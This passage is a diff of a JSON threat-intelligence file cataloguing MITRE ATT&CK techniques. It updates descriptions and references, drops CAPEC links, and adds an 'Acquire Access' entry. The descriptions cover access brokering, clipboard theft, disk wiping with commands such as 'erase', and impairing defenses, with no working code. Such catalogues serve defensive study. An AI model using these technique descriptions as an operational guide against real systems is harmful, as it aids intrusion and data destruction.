2019 Apple Remote Desktop)(Citation: Lockboxx ARD 2019)(Citation: Kickstart Apple Remote Desktop commands)", "meta": { "external_id": "T1021", "kill_chain": [ @@ -22963,7 +23306,6 @@ "refs": [ "http://lockboxx.blogspot.com/2019/07/macos-red-teaming-206-ard-apple-remote.html", "https://attack.mitre.org/techniques/T1021", - "https://capec.mitre.org/data/definitions/555.html", "https://images.apple.com/remotedesktop/pdf/ARD_Admin_Guide_v3.3.pdf", "https://sarah-edwards-xzkc.squarespace.com/blog/2020/4/30/analysis-of-apple-unified-logs-quarantine-edition-entry-6-working-from-home-remote-logins", "https://support.apple.com/en-us/HT201710", @@ -23142,15 +23484,7 @@ "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/" ] }, - "related": [ - { - "dest-uuid": "6747daa2-3533-4e78-8fb8-446ebb86448a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "revoked-by" - } - ], + "related": [], "uuid": "06780952-177c-4247-b978-79c357fb311f", "value": "Plist Modification - T1150" }, @@ -24089,7 +24423,6 @@ "http://www.chokepoint.net/2014/02/detecting-userland-preload-rootkits.html", "https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/security_guide/chap-system_auditing", "https://attack.mitre.org/techniques/T1055", - "https://capec.mitre.org/data/definitions/640.html", "https://docs.microsoft.com/sysinternals/downloads/sysmon", "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process", "https://www.gnu.org/software/acct/" @@ -24098,6 +24431,27 @@ "uuid": "43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", "value": "Process Injection - T1055" }, + { + "description": "Adversaries may purchase or otherwise acquire an existing access to a target system or network. A variety of online services and initial access broker networks are available to sell access to previously compromised systems.(Citation: Microsoft Ransomware as a Service)(Citation: CrowdStrike Access Brokers)(Citation: Krebs Access Brokers Fortune 500) In some cases, adversary groups may form partnerships to share compromised systems with each other.(Citation: CISA Karakurt 2022)\n\nFootholds to compromised systems may take a variety of forms, such as access to planted backdoors (e.g., [Web Shell](https://attack.mitre.org/techniques/T1505/003)) or established access via [External Remote Services](https://attack.mitre.org/techniques/T1133). In some cases, access brokers will implant compromised systems with a “load” that can be used to install additional malware for paying customers.(Citation: Microsoft Ransomware as a Service)\n\nBy leveraging existing access broker networks rather than developing or obtaining their own initial access capabilities, an adversary can potentially reduce the resources required to gain a foothold on a target network and focus their efforts on later stages of compromise. Adversaries may prioritize acquiring access to systems that have been determined to lack security monitoring or that have high privileges, or systems that belong to organizations in a particular sector.(Citation: Microsoft Ransomware as a Service)(Citation: CrowdStrike Access Brokers)\n\nIn some cases, purchasing access to an organization in sectors such as IT contracting, software development, or telecommunications may allow an adversary to compromise additional victims via a [Trusted Relationship](https://attack.mitre.org/techniques/T1199), [Multi-Factor Authentication Interception](https://attack.mitre.org/techniques/T1111), or even [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195).\n\n**Note:** while this technique is distinct from other behaviors such as [Purchase Technical Data](https://attack.mitre.org/techniques/T1597/002) and [Credentials](https://attack.mitre.org/techniques/T1589/001), they may often be used in conjunction (especially where the acquired foothold requires [Valid Accounts](https://attack.mitre.org/techniques/T1078)).", + "meta": { + "external_id": "T1650", + "kill_chain": [ + "mitre-attack:resource-development" + ], + "mitre_platforms": [ + "PRE" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1650", + "https://krebsonsecurity.com/2012/10/service-sells-access-to-fortune-500-firms/", + "https://www.cisa.gov/news-events/cybersecurity-advisories/aa22-152a", + "https://www.crowdstrike.com/blog/access-brokers-targets-and-worth/", + "https://www.microsoft.com/en-us/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/" + ] + }, + "uuid": "d21bb61f-08ad-4dc1-b001-81ca6cb79954", + "value": "Acquire Access - T1650" + }, { "description": "Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. [Credential API Hooking](https://attack.mitre.org/techniques/T1056/004)) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. [Web Portal Capture](https://attack.mitre.org/techniques/T1056/003)).", "meta": { @@ -24122,15 +24476,14 @@ ], "refs": [ "http://opensecuritytraining.info/Keylogging_files/The%20Adventures%20of%20a%20Keystroke.pdf", - "https://attack.mitre.org/techniques/T1056", - "https://capec.mitre.org/data/definitions/569.html" + "https://attack.mitre.org/techniques/T1056" ] }, "uuid": "bb5a00de-e086-4859-a231-fa793f6797e2", "value": "Input Capture - T1056" }, { - "description": "Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from [Process Discovery](https://attack.mitre.org/techniques/T1057) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\nIn Windows environments, adversaries could obtain details on running processes using the [Tasklist](https://attack.mitre.org/software/S0057) utility via [cmd](https://attack.mitre.org/software/S0106) or Get-Process via [PowerShell](https://attack.mitre.org/techniques/T1059/001). Information about processes can also be extracted from the output of [Native API](https://attack.mitre.org/techniques/T1106) calls such as CreateToolhelp32Snapshot. In Mac and Linux, this is accomplished with the ps command. Adversaries may also opt to enumerate processes via /proc.", + "description": "Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from [Process Discovery](https://attack.mitre.org/techniques/T1057) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\nIn Windows environments, adversaries could obtain details on running processes using the [Tasklist](https://attack.mitre.org/software/S0057) utility via [cmd](https://attack.mitre.org/software/S0106) or Get-Process via [PowerShell](https://attack.mitre.org/techniques/T1059/001). Information about processes can also be extracted from the output of [Native API](https://attack.mitre.org/techniques/T1106) calls such as CreateToolhelp32Snapshot. In Mac and Linux, this is accomplished with the ps command. Adversaries may also opt to enumerate processes via /proc.\n\nOn network devices, [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as `show processes` can be used to display current running processes.(Citation: US-CERT-TA18-106A)(Citation: show_processes_cisco_cmd)", "meta": { "external_id": "T1057", "kill_chain": [ @@ -24144,11 +24497,13 @@ "mitre_platforms": [ "Linux", "macOS", - "Windows" + "Windows", + "Network" ], "refs": [ "https://attack.mitre.org/techniques/T1057", - "https://capec.mitre.org/data/definitions/573.html" + "https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/fundamentals/command/cf_command_ref/show_monitor_permit_list_through_show_process_memory.html#wp3599497760", + "https://www.us-cert.gov/ncas/alerts/TA18-106A" ] }, "uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580", @@ -24186,7 +24541,7 @@ "value": "Stage Capabilities - T1608" }, { - "description": "Adversaries may attempt to get a listing of accounts on a system or within an environment. This information can help adversaries determine which accounts exist to aid in follow-on behavior.", + "description": "Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., [Valid Accounts](https://attack.mitre.org/techniques/T1078)).\n\nAdversaries may use several methods to enumerate accounts, including abuse of existing tools, built-in commands, and potential misconfigurations that leak account names and roles or permissions in the targeted environment.\n\nFor examples, cloud environments typically provide easily accessible interfaces to obtain user lists. On hosts, adversaries can use default [PowerShell](https://attack.mitre.org/techniques/T1059/001) and other command line functionality to identify accounts. Information about email addresses and accounts may also be extracted by searching an infected system’s files.", "meta": { "external_id": "T1087", "kill_chain": [ @@ -24209,7 +24564,6 @@ ], "refs": [ "https://attack.mitre.org/techniques/T1087", - "https://capec.mitre.org/data/definitions/575.html", "https://www.elastic.co/blog/embracing-offensive-tooling-building-detections-against-koadic-using-eql" ] }, @@ -24245,7 +24599,6 @@ ], "refs": [ "https://attack.mitre.org/techniques/T1078", - "https://capec.mitre.org/data/definitions/560.html", "https://technet.microsoft.com/en-us/library/dn487457.aspx", "https://technet.microsoft.com/en-us/library/dn535501.aspx", "https://www.cisa.gov/uscert/ncas/alerts/aa22-074a", @@ -24310,7 +24663,8 @@ "Linux", "macOS", "Google Workspace", - "SaaS" + "SaaS", + "Network" ], "refs": [ "https://attack.mitre.org/techniques/T1098", @@ -24344,7 +24698,6 @@ "refs": [ "https://attack.mitre.org/techniques/T1112", "https://blog.trendmicro.com/trendlabs-security-intelligence/poweliks-malware-hides-in-windows-registry/", - "https://capec.mitre.org/data/definitions/203.html", "https://docs.microsoft.com/en-us/sysinternals/downloads/regdelnull", "https://docs.microsoft.com/sysinternals/downloads/reghide", "https://docs.microsoft.com/windows/security/threat-protection/auditing/event-4657", @@ -24404,7 +24757,6 @@ "refs": [ "https://attack.mitre.org/techniques/T1113", "https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/", - "https://capec.mitre.org/data/definitions/648.html", "https://docs.microsoft.com/en-us/dotnet/api/system.drawing.graphics.copyfromscreen?view=netframework-4.8" ] }, @@ -24536,7 +24888,7 @@ "value": "Input Prompt - T1141" }, { - "description": "Adversaries may collect data stored in the clipboard from users copying information within or between applications. \n\nIn Windows, Applications can access clipboard data by using the Windows API.(Citation: MSDN Clipboard) OSX provides a native command, pbpaste, to grab clipboard contents.(Citation: Operating with EmPyre)", + "description": "Adversaries may collect data stored in the clipboard from users copying information within or between applications. \n\nFor example, on Windows adversaries can access clipboard data by using clip.exe or Get-Clipboard.(Citation: MSDN Clipboard)(Citation: clip_win_server)(Citation: CISA_AA21_200B) Additionally, adversaries may monitor then replace users’ clipboard with their data (e.g., [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002)).(Citation: mining_ruby_reversinglabs)\n\nmacOS and Linux also have commands, such as pbpaste, to grab clipboard contents.(Citation: Operating with EmPyre)", "meta": { "external_id": "T1115", "kill_chain": [ @@ -24553,9 +24905,11 @@ ], "refs": [ "https://attack.mitre.org/techniques/T1115", - "https://capec.mitre.org/data/definitions/637.html", + "https://blog.reversinglabs.com/blog/mining-for-malicious-ruby-gems", + "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/clip", "https://medium.com/rvrsh3ll/operating-with-empyre-ea764eda3363", - "https://msdn.microsoft.com/en-us/library/ms649012" + "https://msdn.microsoft.com/en-us/library/ms649012", + "https://www.cisa.gov/uscert/ncas/alerts/aa21-200b" ] }, "uuid": "30973a08-aed9-4edf-8604-9084ce1b5c4f", @@ -24694,8 +25048,7 @@ "Windows" ], "refs": [ - "https://attack.mitre.org/techniques/T1123", - "https://capec.mitre.org/data/definitions/634.html" + "https://attack.mitre.org/techniques/T1123" ] }, "uuid": "1035cdf2-3e5f-446f-a7a7-e8f6d7925967", @@ -24781,7 +25134,6 @@ ], "refs": [ "https://attack.mitre.org/techniques/T1125", - "https://capec.mitre.org/data/definitions/634.html", "https://objective-see.com/blog/blog_0x25.html" ] }, @@ -24806,15 +25158,7 @@ "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf" ] }, - "related": [ - { - "dest-uuid": "6747daa2-3533-4e78-8fb8-446ebb86448a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "revoked-by" - } - ], + "related": [], "uuid": "36675cd3-fe00-454c-8516-aebecacbe9d9", "value": "Login Item - T1162" }, @@ -25025,7 +25369,8 @@ "IaaS", "Linux", "macOS", - "Google Workspace" + "Google Workspace", + "Network" ], "refs": [ "https://attack.mitre.org/techniques/T1136", @@ -25466,7 +25811,7 @@ "value": "LC_MAIN Hijacking - T1149" }, { - "description": "Adversaries may wipe or corrupt raw disk data on specific systems or in large numbers in a network to interrupt availability to system and network resources. With direct write access to a disk, adversaries may attempt to overwrite portions of disk data. Adversaries may opt to wipe arbitrary portions of disk data and/or wipe disk structures like the master boot record (MBR). A complete wipe of all disk sectors may be attempted.\n\nTo maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware used for wiping disks may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Novetta Blockbuster Destructive Malware)", + "description": "Adversaries may wipe or corrupt raw disk data on specific systems or in large numbers in a network to interrupt availability to system and network resources. With direct write access to a disk, adversaries may attempt to overwrite portions of disk data. Adversaries may opt to wipe arbitrary portions of disk data and/or wipe disk structures like the master boot record (MBR). A complete wipe of all disk sectors may be attempted.\n\nTo maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware used for wiping disks may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Novetta Blockbuster Destructive Malware)\n\nOn network devices, adversaries may wipe configuration files and other data from the device using [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as `erase`.(Citation: erase_cmd_cisco)", "meta": { "external_id": "T1561", "kill_chain": [ @@ -25482,12 +25827,14 @@ "mitre_platforms": [ "Linux", "macOS", - "Windows" + "Windows", + "Network" ], "refs": [ "https://attack.mitre.org/techniques/T1561", "https://docs.microsoft.com/sysinternals/downloads/sysmon", - "https://web.archive.org/web/20160303200515/https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf" + "https://web.archive.org/web/20160303200515/https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf", + "https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/fundamentals/command/cf_command_ref/D_through_E.html#wp3557227463" ] }, "uuid": "1988cc35-ced8-4dad-b2d1-7628488fa967", @@ -25617,8 +25964,7 @@ "Google Workspace" ], "refs": [ - "https://attack.mitre.org/techniques/T1518", - "https://capec.mitre.org/data/definitions/580.html" + "https://attack.mitre.org/techniques/T1518" ] }, "uuid": "e3b6daca-e963-4a69-aee6-ed4fd653ad58", @@ -26041,6 +26387,7 @@ "mitre-attack:credential-access" ], "mitre_data_sources": [ + "Application Log: Application Log Content", "Command: Command Execution", "File: File Access", "Process: Process Creation", @@ -26056,7 +26403,8 @@ "Linux", "macOS", "Google Workspace", - "Containers" + "Containers", + "Network" ], "refs": [ "https://attack.mitre.org/techniques/T1552" @@ -26066,7 +26414,7 @@ "value": "Unsecured Credentials - T1552" }, { - "description": "Adversaries may maliciously modify components of a victim environment in order to hinder or disable defensive mechanisms. This not only involves impairing preventative defenses, such as firewalls and anti-virus, but also detection capabilities that defenders can use to audit activity and identify malicious behavior. This may also span both native defenses as well as supplemental capabilities installed by users and administrators.\n\nAdversaries could also target event aggregation and analysis mechanisms, or otherwise disrupt these procedures by altering other system components.", + "description": "Adversaries may maliciously modify components of a victim environment in order to hinder or disable defensive mechanisms. This not only involves impairing preventative defenses, such as firewalls and anti-virus, but also detection capabilities that defenders can use to audit activity and identify malicious behavior. This may also span both native defenses as well as supplemental capabilities installed by users and administrators.\n\nAdversaries may also impair routine operations that contribute to defensive hygiene, such as blocking users from logging out of a computer or stopping it from being shut down. These restrictions can further enable malicious operations as well as the continued propagation of incidents.(Citation: Emotet shutdown)\n\nAdversaries could also target event aggregation and analysis mechanisms, or otherwise disrupt these procedures by altering other system components.", "meta": { "external_id": "T1562", "kill_chain": [ @@ -26084,6 +26432,7 @@ "Script: Script Execution", "Sensor Health: Host Status", "Service: Service Metadata", + "User Account: User Account Modification", "Windows Registry: Windows Registry Key Deletion", "Windows Registry: Windows Registry Key Modification" ], @@ -26097,7 +26446,8 @@ "Network" ], "refs": [ - "https://attack.mitre.org/techniques/T1562" + "https://attack.mitre.org/techniques/T1562", + "https://thedfirreport.com/2022/11/28/emotet-strikes-again-lnk-file-leads-to-domain-wide-ransomware/#:~:text=Don’t%20Sleep%20has%20the%20capability%20to%20keep%20the%20computer%20from%20being%20shutdown%20and%20the%20user%20from%20being%20signed%20off.%20This%20was%20likely%20done%20to%20ensure%20nothing%20will%20interfere%20with%20the%20propagation%20of%20the%20ransomware%20payload" ] }, "uuid": "3d333250-30e4-4a82-9edc-756c68afc529", @@ -26326,7 +26676,7 @@ "value": "Encrypted Channel - T1573" }, { - "description": "Adversaries may buy, lease, or rent infrastructure that can be used during targeting. A wide variety of infrastructure exists for hosting and orchestrating adversary operations. Infrastructure solutions include physical or cloud servers, domains, and third-party web services.(Citation: TrendmicroHideoutsLease) Additionally, botnets are available for rent or purchase.\n\nUse of these infrastructure solutions allows an adversary to stage, launch, and execute an operation. Solutions may help adversary operations blend in with traffic that is seen as normal, such as contact to third-party web services. Depending on the implementation, adversaries may use infrastructure that makes it difficult to physically tie back to them as well as utilize infrastructure that can be rapidly provisioned, modified, and shut down.", + "description": "Adversaries may buy, lease, or rent infrastructure that can be used during targeting. A wide variety of infrastructure exists for hosting and orchestrating adversary operations. Infrastructure solutions include physical or cloud servers, domains, and third-party web services.(Citation: TrendmicroHideoutsLease) Additionally, botnets are available for rent or purchase.\n\nUse of these infrastructure solutions allows adversaries to stage, launch, and execute operations. Solutions may help adversary operations blend in with traffic that is seen as normal, such as contacting third-party web services or acquiring infrastructure to support [Proxy](https://attack.mitre.org/techniques/T1090).(Citation: amnesty_nso_pegasus) Depending on the implementation, adversaries may use infrastructure that makes it difficult to physically tie back to them as well as utilize infrastructure that can be rapidly provisioned, modified, and shut down.", "meta": { "external_id": "T1583", "kill_chain": [ @@ -26347,6 +26697,7 @@ "https://documents.trendmicro.com/assets/wp/wp-criminal-hideouts-for-lease.pdf", "https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2", "https://threatconnect.com/blog/infrastructure-research-hunting/", + "https://www.amnesty.org/en/latest/research/2021/07/forensic-methodology-report-how-to-catch-nso-groups-pegasus/", "https://www.mandiant.com/resources/scandalous-external-detection-using-network-scan-data-and-automation" ] }, @@ -26443,7 +26794,7 @@ "value": "Hide Artifacts - T1564" }, { - "description": "Adversaries may compromise third-party infrastructure that can be used during targeting. Infrastructure solutions include physical or cloud servers, domains, and third-party web and DNS services. Instead of buying, leasing, or renting infrastructure an adversary may compromise infrastructure and use it during other phases of the adversary lifecycle.(Citation: Mandiant APT1)(Citation: ICANNDomainNameHijacking)(Citation: Talos DNSpionage Nov 2018)(Citation: FireEye EPS Awakens Part 2) Additionally, adversaries may compromise numerous machines to form a botnet they can leverage.\n\nUse of compromised infrastructure allows an adversary to stage, launch, and execute an operation. Compromised infrastructure can help adversary operations blend in with traffic that is seen as normal, such as contact with high reputation or trusted sites. For example, adversaries may leverage compromised infrastructure (potentially also in conjunction with [Digital Certificates](https://attack.mitre.org/techniques/T1588/004)) to further blend in and support staged information gathering and/or [Phishing](https://attack.mitre.org/techniques/T1566) campaigns.(Citation: FireEye DNS Hijack 2019) \n\nBy using compromised infrastructure, adversaries may make it difficult to tie their actions back to them. Prior to targeting, adversaries may compromise the infrastructure of other adversaries.(Citation: NSA NCSC Turla OilRig)", + "description": "Adversaries may compromise third-party infrastructure that can be used during targeting. Infrastructure solutions include physical or cloud servers, domains, and third-party web and DNS services. Instead of buying, leasing, or renting infrastructure an adversary may compromise infrastructure and use it during other phases of the adversary lifecycle.(Citation: Mandiant APT1)(Citation: ICANNDomainNameHijacking)(Citation: Talos DNSpionage Nov 2018)(Citation: FireEye EPS Awakens Part 2) Additionally, adversaries may compromise numerous machines to form a botnet they can leverage.\n\nUse of compromised infrastructure allows adversaries to stage, launch, and execute operations. Compromised infrastructure can help adversary operations blend in with traffic that is seen as normal, such as contact with high reputation or trusted sites. For example, adversaries may leverage compromised infrastructure (potentially also in conjunction with [Digital Certificates](https://attack.mitre.org/techniques/T1588/004)) to further blend in and support staged information gathering and/or [Phishing](https://attack.mitre.org/techniques/T1566) campaigns.(Citation: FireEye DNS Hijack 2019) Additionally, adversaries may also compromise infrastructure to support [Proxy](https://attack.mitre.org/techniques/T1090).(Citation: amnesty_nso_pegasus)\n\nBy using compromised infrastructure, adversaries may make it difficult to tie their actions back to them. Prior to targeting, adversaries may compromise the infrastructure of other adversaries.(Citation: NSA NCSC Turla OilRig)", "meta": { "external_id": "T1584", "kill_chain": [ @@ -26466,6 +26817,7 @@ "https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2", "https://threatconnect.com/blog/infrastructure-research-hunting/", "https://web.archive.org/web/20151226205946/https://www.fireeye.com/blog/threat-research/2015/12/the-eps-awakens-part-two.html", + "https://www.amnesty.org/en/latest/research/2021/07/forensic-methodology-report-how-to-catch-nso-groups-pegasus/", "https://www.fireeye.com/blog/threat-research/2019/01/global-dns-hijacking-campaign-dns-record-manipulation-at-scale.html", "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf", "https://www.icann.org/groups/ssac/documents/sac-007-en", @@ -26732,7 +27084,7 @@ "value": "Active Scanning - T1595" }, { - "description": "Adversaries may compromise accounts with services that can be used during targeting. For operations incorporating social engineering, the utilization of an online persona may be important. Rather than creating and cultivating accounts (i.e. [Establish Accounts](https://attack.mitre.org/techniques/T1585)), adversaries may compromise existing accounts. Utilizing an existing persona may engender a level of trust in a potential victim if they have a relationship, or knowledge of, the compromised persona. \n\nA variety of methods exist for compromising accounts, such as gathering credentials via [Phishing for Information](https://attack.mitre.org/techniques/T1598), purchasing credentials from third-party sites, or by brute forcing credentials (ex: password reuse from breach credential dumps).(Citation: AnonHBGary) Prior to compromising accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation.\n\nPersonas may exist on a single site or across multiple sites (ex: Facebook, LinkedIn, Twitter, Google, etc.). Compromised accounts may require additional development, this could include filling out or modifying profile information, further developing social networks, or incorporating photos.\n\nAdversaries may directly leverage compromised email accounts for [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Phishing](https://attack.mitre.org/techniques/T1566).", + "description": "Adversaries may compromise accounts with services that can be used during targeting. For operations incorporating social engineering, the utilization of an online persona may be important. Rather than creating and cultivating accounts (i.e. [Establish Accounts](https://attack.mitre.org/techniques/T1585)), adversaries may compromise existing accounts. Utilizing an existing persona may engender a level of trust in a potential victim if they have a relationship, or knowledge of, the compromised persona. \n\nA variety of methods exist for compromising accounts, such as gathering credentials via [Phishing for Information](https://attack.mitre.org/techniques/T1598), purchasing credentials from third-party sites, brute forcing credentials (ex: password reuse from breach credential dumps), or paying employees, suppliers or business partners for access to credentials.(Citation: AnonHBGary)(Citation: Microsoft DEV-0537) Prior to compromising accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation.\n\nPersonas may exist on a single site or across multiple sites (ex: Facebook, LinkedIn, Twitter, Google, etc.). Compromised accounts may require additional development, this could include filling out or modifying profile information, further developing social networks, or incorporating photos.\n\nAdversaries may directly leverage compromised email accounts for [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Phishing](https://attack.mitre.org/techniques/T1566).", "meta": { "external_id": "T1586", "kill_chain": [ @@ -26747,7 +27099,8 @@ ], "refs": [ "https://arstechnica.com/tech-policy/2011/02/anonymous-speaks-the-inside-story-of-the-hbgary-hack/", - "https://attack.mitre.org/techniques/T1586" + "https://attack.mitre.org/techniques/T1586", + "https://www.microsoft.com/security/blog/2022/03/22/dev-0537-criminal-actor-targeting-organizations-for-data-exfiltration-and-destruction/" ] }, "uuid": "81033c3b-16a4-46e4-8fed-9b030dd03c4a", @@ -26912,7 +27265,6 @@ "https://arxiv.org/abs/1809.05681", "https://attack.mitre.org/techniques/T1557", "https://blog.netlab.360.com/ttint-an-iot-remote-control-trojan-spread-through-2-0-day-vulnerabilities/", - "https://capec.mitre.org/data/definitions/94.html", "https://securelist.com/ad-blocker-with-miner-included/101105/", "https://tlseminar.github.io/downgrade-attacks/", "https://www.praetorian.com/blog/man-in-the-middle-tls-ssl-protocol-downgrade-attack/", @@ -27135,7 +27487,6 @@ ], "refs": [ "https://attack.mitre.org/techniques/T1021/004", - "https://capec.mitre.org/data/definitions/555.html", "https://sarah-edwards-xzkc.squarespace.com/blog/2020/4/30/analysis-of-apple-unified-logs-quarantine-edition-entry-6-working-from-home-remote-logins" ] }, @@ -27168,7 +27519,6 @@ "refs": [ "http://lists.openstack.org/pipermail/openstack/2013-December/004138.html", "https://attack.mitre.org/techniques/T1021/005", - "https://capec.mitre.org/data/definitions/555.html", "https://datatracker.ietf.org/doc/html/rfc6143#section-7.2.2", "https://gitlab.gnome.org/GNOME/gnome-remote-desktop/-/blob/9aa9181e/src/grd-settings.c#L207", "https://gitlab.gnome.org/GNOME/gnome-remote-desktop/-/blob/9aa9181e/src/org.gnome.desktop.remote-desktop.gschema.xml.in", @@ -27268,7 +27618,6 @@ "refs": [ "http://opensecuritytraining.info/Keylogging_files/The%20Adventures%20of%20a%20Keystroke.pdf", "https://attack.mitre.org/techniques/T1056/001", - "https://capec.mitre.org/data/definitions/568.html", "https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954" ] }, @@ -27300,13 +27649,13 @@ ], "refs": [ "http://www.malwarearchaeology.com/s/Windows-PowerShell-Logging-Cheat-Sheet-ver-June-2016-v2.pdf", - "http://www.sixdub.net/?p=367", "https://attack.mitre.org/techniques/T1059/001", "https://blogs.msdn.microsoft.com/kebab/2014/04/28/executing-powershell-scripts-from-c/", "https://github.com/jaredhaight/PSAttack", "https://powershellmagazine.com/2014/07/16/investigating-powershell-attacks/", - "https://silentbreaksecurity.com/powershell-jobs-without-powershell-exe/", "https://technet.microsoft.com/en-us/scriptcenter/dd742419.aspx", + "https://web.archive.org/web/20160327101330/http://www.sixdub.net/?p=367", + "https://web.archive.org/web/20190508170150/https://silentbreaksecurity.com/powershell-jobs-without-powershell-exe/", "https://www.fireeye.com/blog/threat-research/2016/02/greater_visibilityt.html" ] }, @@ -27377,7 +27726,6 @@ ], "refs": [ "https://attack.mitre.org/techniques/T1027/003", - "https://capec.mitre.org/data/definitions/636.html", "https://en.wikipedia.org/wiki/Duqu", "https://securingtomorrow.mcafee.com/mcafee-labs/malicious-document-targets-pyeongchang-olympics/" ] @@ -27500,12 +27848,7 @@ "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf" ] }, - "related": [ - { - "dest-uuid": "35dd844a-b219-4e2b-a6bb-efa9a75995a9", - "type": "subtechnique-of" - } - ], + "related": [], "uuid": "8faedf87-dceb-4c35-b2a2-7286f59a3bc3", "value": "Launchd - T1053.004" }, @@ -28018,18 +28361,17 @@ "https://attack.mitre.org/techniques/T1583/001", "https://blog.talosintelligence.com/2021/05/transparent-tribe-infra-and-targeting.html", "https://blog.talosintelligence.com/2022/03/transparent-tribe-new-campaign.html", - "https://capec.mitre.org/data/definitions/630.html", "https://krebsonsecurity.com/2018/11/that-domain-you-forgot-to-renew-yeah-its-now-stealing-credit-cards/", "https://threatconnect.com/blog/infrastructure-research-hunting/", "https://us-cert.cisa.gov/ncas/alerts/aa20-258a", "https://us-cert.cisa.gov/ncas/tips/ST05-016", + "https://web.archive.org/web/20151022204649/https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf", + "https://web.archive.org/web/20171223000420/https://www.riskiq.com/blog/labs/lazarus-group-cryptocurrency/", + "https://web.archive.org/web/20220527112908/https://www.riskiq.com/blog/labs/ukraine-malware-infrastructure/", "https://www.blackhillsinfosec.com/bypass-web-proxy-filtering/", "https://www.cobaltstrike.com/blog/high-reputation-redirectors-and-domain-fronting/", - "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf", "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf", "https://www.mdsec.co.uk/2017/07/categorisation-is-not-a-security-boundary/", - "https://www.riskiq.com/blog/labs/lazarus-group-cryptocurrency/", - "https://www.riskiq.com/blog/labs/ukraine-malware-infrastructure/", "https://www.zdnet.com/article/paypal-alert-beware-the-paypai-scam-5000109103/" ] }, @@ -28043,7 +28385,7 @@ "value": "Domains - T1583.001" }, { - "description": "Adversaries may hijack domains and/or subdomains that can be used during targeting. Domain registration hijacking is the act of changing the registration of a domain name without the permission of the original registrant.(Citation: ICANNDomainNameHijacking) Adversaries may gain access to an email account for the person listed as the owner of the domain. The adversary can then claim that they forgot their password in order to make changes to the domain registration. Other possibilities include social engineering a domain registration help desk to gain access to an account or taking advantage of renewal process gaps.(Citation: Krebs DNS Hijack 2019)\n\nSubdomain hijacking can occur when organizations have DNS entries that point to non-existent or deprovisioned resources. In such cases, an adversary may take control of a subdomain to conduct operations with the benefit of the trust associated with that domain.(Citation: Microsoft Sub Takeover 2020)", + "description": "Adversaries may hijack domains and/or subdomains that can be used during targeting. Domain registration hijacking is the act of changing the registration of a domain name without the permission of the original registrant.(Citation: ICANNDomainNameHijacking) Adversaries may gain access to an email account for the person listed as the owner of the domain. The adversary can then claim that they forgot their password in order to make changes to the domain registration. Other possibilities include social engineering a domain registration help desk to gain access to an account or taking advantage of renewal process gaps.(Citation: Krebs DNS Hijack 2019)\n\nSubdomain hijacking can occur when organizations have DNS entries that point to non-existent or deprovisioned resources. In such cases, an adversary may take control of a subdomain to conduct operations with the benefit of the trust associated with that domain.(Citation: Microsoft Sub Takeover 2020)\n\nAdversaries who compromise a domain may also engage in domain shadowing by creating malicious subdomains under their control while keeping any existing DNS records. As service will not be disrupted, the malicious subdomains may go unnoticed for long periods of time.(Citation: Palo Alto Unit 42 Domain Shadowing 2022)", "meta": { "external_id": "T1584.001", "kill_chain": [ @@ -28061,6 